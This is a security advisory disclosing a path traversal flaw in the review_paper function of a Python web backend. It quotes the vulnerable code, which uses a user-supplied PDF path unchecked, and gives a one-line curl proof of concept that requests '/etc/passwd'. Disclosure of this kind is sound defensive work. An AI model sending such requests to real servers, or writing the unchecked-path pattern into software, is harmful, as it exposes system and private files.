PYSEC-2026-1967

Description

A critical path traversal vulnerability (CWE-22) has been identified in the review_paper function in backend/app.py. The vulnerability allows malicious users to access arbitrary PDF files on the server by providing crafted file paths that bypass the intended security restrictions.

Impact

This vulnerability allows attackers to: - Read any PDF file accessible to the server process - Potentially access sensitive documents outside the intended directory - Perform reconnaissance on the server's file system structure

Vulnerable Code

The issue occurs in the review_paper function around line 744:

if pdf_path.startswith("/api/files/"):
    # Safe path handling for API routes
    relative_path = pdf_path[len("/api/files/"):]
    generated_base = os.path.join(project_root, "generated")
    absolute_pdf_path = os.path.join(generated_base, relative_path)
else:
    absolute_pdf_path = pdf_path  # VULNERABLE: Direct use of user input

Proof of Concept

curl -X POST http://localhost:5000/api/review \
  -H "Content-Type: application/json" \
  -d '{"pdf_path": "/etc/passwd"}'

Credit

This vulnerability was discovered and reported by Ruizhe.